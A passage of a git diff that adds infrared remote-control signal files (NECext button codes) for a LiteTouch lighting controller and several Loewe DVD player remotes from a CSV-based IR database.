a/assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/132,-1.ir b/assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/132,-1.ir new file mode 100644 index 000000000..ae49387f7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/132,-1.ir @@ -0,0 +1,56 @@ +Filetype: IR signals file +Version: 1 +# +name: 8 +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 7F 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 84 00 00 00 +command: BF 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 84 00 00 00 +command: DF 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 84 00 00 00 +command: EF 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 84 00 00 00 +command: F7 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 84 00 00 00 +command: FB 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 84 00 00 00 +command: FD 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 84 00 00 00 +command: FE 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 84 00 00 00 +command: FF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/133,-1.ir b/assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/133,-1.ir new file mode 100644 index 000000000..aa6884e2b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/133,-1.ir @@ -0,0 +1,56 @@ +Filetype: IR signals file +Version: 1 +# +name: 8 +type: parsed +protocol: NECext +address: 85 00 00 00 +command: 7F 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 85 00 00 00 +command: BF 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 85 00 00 00 +command: DF 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 85 00 00 00 +command: EF 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 85 00 00 00 +command: F7 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 85 00 00 00 +command: FB 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 85 00 00 00 +command: FD 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 85 00 00 00 +command: FE 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 85 00 00 00 +command: FF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/134,-1.ir b/assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/134,-1.ir new file mode 100644 index 000000000..ff69cce8b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/134,-1.ir @@ -0,0 +1,56 @@ +Filetype: IR signals file +Version: 1 +# +name: 8 +type: parsed +protocol: NECext +address: 86 00 00 00 +command: 7F 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 86 00 00 00 +command: BF 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 86 00 00 00 +command: DF 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 86 00 00 00 +command: EF 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 86 00 00 00 +command: F7 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 86 00 00 00 +command: FB 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 86 00 00 00 +command: FD 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 86 00 00 00 +command: FE 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 86 00 00 00 +command: FF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/135,-1.ir b/assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/135,-1.ir new file mode 100644 index 000000000..4c94a45cb --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/135,-1.ir @@ -0,0 +1,56 @@ +Filetype: IR signals file +Version: 1 +# +name: 8 +type: parsed +protocol: NECext +address: 87 00 00 00 +command: 7F 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 87 00 00 00 +command: BF 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 87 00 00 00 +command: DF 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 87 00 00 00 +command: EF 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 87 00 00 00 +command: F7 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 87 00 00 00 +command: FB 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 87 00 00 00 +command: FD 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 87 00 00 00 +command: FE 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 87 00 00 00 +command: FF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/136,-1.ir b/assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/136,-1.ir new file mode 100644 index 000000000..ced9b3450 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/136,-1.ir @@ -0,0 +1,56 @@ +Filetype: IR signals file +Version: 1 +# +name: 8 +type: parsed +protocol: NECext +address: 88 00 00 00 +command: 7F 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 88 00 00 00 +command: BF 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 88 00 00 00 +command: DF 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 88 00 00 00 +command: EF 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 88 00 00 00 +command: F7 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 88 00 00 00 +command: FB 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 88 00 00 00 +command: FD 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 88 00 00 00 +command: FE 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 88 00 00 00 +command: FF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/137,-1.ir b/assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/137,-1.ir new file mode 100644 index 000000000..357bfe19e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/137,-1.ir @@ -0,0 +1,56 @@ +Filetype: IR signals file +Version: 1 +# +name: 8 +type: parsed +protocol: NECext +address: 89 00 00 00 +command: 7F 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 89 00 00 00 +command: BF 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 89 00 00 00 +command: DF 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 89 00 00 00 +command: EF 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 89 00 00 00 +command: F7 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 89 00 00 00 +command: FB 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 89 00 00 00 +command: FD 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 89 00 00 00 +command: FE 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 89 00 00 00 +command: FF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/144,-1.ir b/assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/144,-1.ir new file mode 100644 index 000000000..da58e3970 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/144,-1.ir @@ -0,0 +1,56 @@ +Filetype: IR signals file +Version: 1 +# +name: 8 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 7F 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: BF 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: DF 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: EF 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: F7 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: FB 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: FD 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: FE 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: FF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/145,-1.ir b/assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/145,-1.ir new file mode 100644 index 000000000..57bd7e089 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/145,-1.ir @@ -0,0 +1,56 @@ +Filetype: IR signals file +Version: 1 +# +name: 8 +type: parsed +protocol: NECext +address: 91 00 00 00 +command: 7F 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 91 00 00 00 +command: BF 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 91 00 00 00 +command: DF 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 91 00 00 00 +command: EF 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 91 00 00 00 +command: F7 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 91 00 00 00 +command: FB 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 91 00 00 00 +command: FD 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 91 00 00 00 +command: FE 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 91 00 00 00 +command: FF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/146,-1.ir b/assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/146,-1.ir new file mode 100644 index 000000000..fda5b99ad --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/146,-1.ir @@ -0,0 +1,56 @@ +Filetype: IR signals file +Version: 1 +# +name: 8 +type: parsed +protocol: NECext +address: 92 00 00 00 +command: 7F 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 92 00 00 00 +command: BF 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 92 00 00 00 +command: DF 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 92 00 00 00 +command: EF 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 92 00 00 00 +command: F7 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 92 00 00 00 +command: FB 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 92 00 00 00 +command: FD 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 92 00 00 00 +command: FE 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 92 00 00 00 +command: FF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/147,-1.ir b/assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/147,-1.ir new file mode 100644 index 000000000..8e5a4868e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/147,-1.ir @@ -0,0 +1,56 @@ +Filetype: IR signals file +Version: 1 +# +name: 8 +type: parsed +protocol: NECext +address: 93 00 00 00 +command: 7F 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 93 00 00 00 +command: BF 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 93 00 00 00 +command: DF 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 93 00 00 00 +command: EF 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 93 00 00 00 +command: F7 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 93 00 00 00 +command: FB 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 93 00 00 00 +command: FD 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 93 00 00 00 +command: FE 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 93 00 00 00 +command: FF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/148,-1.ir b/assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/148,-1.ir new file mode 100644 index 000000000..2d1d9e39c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/148,-1.ir @@ -0,0 +1,56 @@ +Filetype: IR signals file +Version: 1 +# +name: 8 +type: parsed +protocol: NECext +address: 94 00 00 00 +command: 7F 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 94 00 00 00 +command: BF 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 94 00 00 00 +command: DF 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 94 00 00 00 +command: EF 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 94 00 00 00 +command: F7 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 94 00 00 00 +command: FB 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 94 00 00 00 +command: FD 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 94 00 00 00 +command: FE 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 94 00 00 00 +command: FF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/149,-1.ir b/assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/149,-1.ir new file mode 100644 index 000000000..c570bc66f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/149,-1.ir @@ -0,0 +1,56 @@ +Filetype: IR signals file +Version: 1 +# +name: 8 +type: parsed +protocol: NECext +address: 95 00 00 00 +command: 7F 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 95 00 00 00 +command: BF 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 95 00 00 00 +command: DF 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 95 00 00 00 +command: EF 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 95 00 00 00 +command: F7 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 95 00 00 00 +command: FB 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 95 00 00 00 +command: FD 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 95 00 00 00 +command: FE 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 95 00 00 00 +command: FF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/150,-1.ir b/assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/150,-1.ir new file mode 100644 index 000000000..4b91674ee --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/150,-1.ir @@ -0,0 +1,56 @@ +Filetype: IR signals file +Version: 1 +# +name: 8 +type: parsed +protocol: NECext +address: 96 00 00 00 +command: 7F 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 96 00 00 00 +command: BF 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 96 00 00 00 +command: DF 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 96 00 00 00 +command: EF 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 96 00 00 00 +command: F7 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 96 00 00 00 +command: FB 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 96 00 00 00 +command: FD 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 96 00 00 00 +command: FE 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 96 00 00 00 +command: FF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/151,-1.ir b/assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/151,-1.ir new file mode 100644 index 000000000..b72217beb --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/151,-1.ir @@ -0,0 +1,56 @@ +Filetype: IR signals file +Version: 1 +# +name: 8 +type: parsed +protocol: NECext +address: 97 00 00 00 +command: 7F 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 97 00 00 00 +command: BF 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 97 00 00 00 +command: DF 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 97 00 00 00 +command: EF 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 97 00 00 00 +command: F7 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 97 00 00 00 +command: FB 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 97 00 00 00 +command: FD 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 97 00 00 00 +command: FE 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 97 00 00 00 +command: FF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/152,-1.ir b/assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/152,-1.ir new file mode 100644 index 000000000..3372c1a83 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/152,-1.ir @@ -0,0 +1,56 @@ +Filetype: IR signals file +Version: 1 +# +name: 8 +type: parsed +protocol: NECext +address: 98 00 00 00 +command: 7F 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 98 00 00 00 +command: BF 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 98 00 00 00 +command: DF 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 98 00 00 00 +command: EF 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 98 00 00 00 +command: F7 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 98 00 00 00 +command: FB 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 98 00 00 00 +command: FD 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 98 00 00 00 +command: FE 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 98 00 00 00 +command: FF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/153,-1.ir b/assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/153,-1.ir new file mode 100644 index 000000000..833c87838 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/153,-1.ir @@ -0,0 +1,56 @@ +Filetype: IR signals file +Version: 1 +# +name: 8 +type: parsed +protocol: NECext +address: 99 00 00 00 +command: 7F 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 99 00 00 00 +command: BF 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 99 00 00 00 +command: DF 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 99 00 00 00 +command: EF 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 99 00 00 00 +command: F7 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 99 00 00 00 +command: FB 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 99 00 00 00 +command: FD 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 99 00 00 00 +command: FE 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 99 00 00 00 +command: FF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/255,-1.ir b/assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/255,-1.ir new file mode 100644 index 000000000..0895a4d27 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/LiteTouch/Lighting Controller/255,-1.ir @@ -0,0 +1,56 @@ +Filetype: IR signals file +Version: 1 +# +name: 8 +type: parsed +protocol: NECext +address: FF 00 00 00 +command: 7F 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: FF 00 00 00 +command: BF 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: FF 00 00 00 +command: DF 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: FF 00 00 00 +command: EF 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: FF 00 00 00 +command: F7 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: FF 00 00 00 +command: FB 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: FF 00 00 00 +command: FD 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: FF 00 00 00 +command: FE 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: FF 00 00 00 +command: FF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Loewe/DVD Player/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Loewe/DVD Player/0,-1.ir new file mode 100644 index 000000000..3f7c8e2a4 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Loewe/DVD Player/0,-1.ir @@ -0,0 +1,20 @@ +Filetype: IR signals file +Version: 1 +# +name: MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Loewe/DVD Player/32,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Loewe/DVD Player/32,-1.ir new file mode 100644 index 000000000..a1dbefb7f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Loewe/DVD Player/32,-1.ir @@ -0,0 +1,392 @@ +Filetype: IR signals file +Version: 1 +# +name: DVD_0 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 00 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 00 00 00 00 +# +name: FM_0 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 00 00 00 00 +# +name: DVD_1 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 01 00 00 00 +# +name: FM_1 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 01 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 01 00 00 00 +# +name: DVD_2 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 02 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 02 00 00 00 +# +name: DVD_3 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 03 00 00 00 +# +name: DVD_4 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 04 00 00 00 +# +name: FM_4 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 04 00 00 00 +# +name: DVD_5 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 05 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 05 00 00 00 +# +name: FM_5 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 05 00 00 00 +# +name: DVD_6 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 06 00 00 00 +# +name: FM_6 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 06 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 06 00 00 00 +# +name: DVD_7 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 07 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 07 00 00 00 +# +name: FM_7 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 07 00 00 00 +# +name: DVD_8 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 08 00 00 00 +# +name: FM_8 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 08 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 08 00 00 00 +# +name: DVD_9 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 09 00 00 00 +# +name: FM_9 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 09 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 09 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0C 00 00 00 +# +name: RC1_MUTE +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0D 00 00 00 +# +name: FM_ON +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1C 00 00 00 +# +name: CERTOS_ON_PLAY +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 21 00 00 00 +# +name: AUX_3_DIGITAL +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 22 00 00 00 +# +name: FM_11 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 29 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 29 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 2A 00 00 00 +# +name: FM_SEARCH_FF +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 32 00 00 00 +# +name: FM_SEARCH_REV +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 33 00 00 00 +# +name: DVD_CURSOR_UPP +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 58 00 00 00 +# +name: FM_SKIP_FF +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 58 00 00 00 +# +name: DVD_CURSOR_NER +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 59 00 00 00 +# +name: FM_SKIP_REV +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 59 00 00 00 +# +name: NSTER +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 5A 00 00 00 +# +name: VOLYM_-. +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 5A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 5A 00 00 00 +# +name: GER +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 5B 00 00 00 +# +name: VOLYM_+ +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 5B 00 00 00 +# +name: DVD_CURSOR_ENTER +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 5C 00 00 00 +# +name: DVD_DISC_MENY +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 8E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 8E 00 00 00 +# +name: DVD_ZOOM +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 90 00 00 00 +# +name: DVD_KAPITEL +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 91 00 00 00 +# +name: CD_REPEAT +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 96 00 00 00 +# +name: DVD_REPEAT +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 99 00 00 00 +# +name: CD_TIME +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 9D 00 00 00 +# +name: CD_TEXT +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 9F 00 00 00 +# +name: CD_MIX +type: parsed +protocol: NECext +address: 20 00 00 00 +command: A1 00 00 00 +# +name: DVD_PAUSE +type: parsed +protocol: NECext +address: 20 00 00 00 +command: C0 00 00 00 +# +name: DVD_SETUP +type: parsed +protocol: NECext +address: 20 00 00 00 +command: C1 00 00 00 +# +name: DVD_EXIT +type: parsed +protocol: NECext +address: 20 00 00 00 +command: C2 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 20 00 00 00 +command: C2 00 00 00 +# +name: DVD_SKIP_REV +type: parsed +protocol: NECext +address: 20 00 00 00 +command: C4 00 00 00 +# +name: DVD_STOP +type: parsed +protocol: NECext +address: 20 00 00 00 +command: C5 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 20 00 00 00 +command: C5 00 00 00 +# +name: DVD_PLAY +type: parsed +protocol: NECext +address: 20 00 00 00 +command: C6 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 20 00 00 00 +command: C6 00 00 00 +# +name: DVD_SKIP_FF +type: parsed +protocol: NECext +address: 20 00 00 00 +command: C7 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Loewe/DVD Player/33,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Loewe/DVD Player/33,-1.ir new file mode 100644 index 000000000..e5642ad62 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Loewe/DVD Player/33,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: SOUND_MODE +type: parsed +protocol: NECext +address: 21 00 00 00 +command: 72 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Loewe/DVD Player/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Loewe/DVD Player/4,-1.ir new file mode 100644 index 000000000..4a36e5895 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Loewe/DVD Player/4,-1.ir @@ -0,0 +1,188 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 06 00 00 00 +# +name: 7 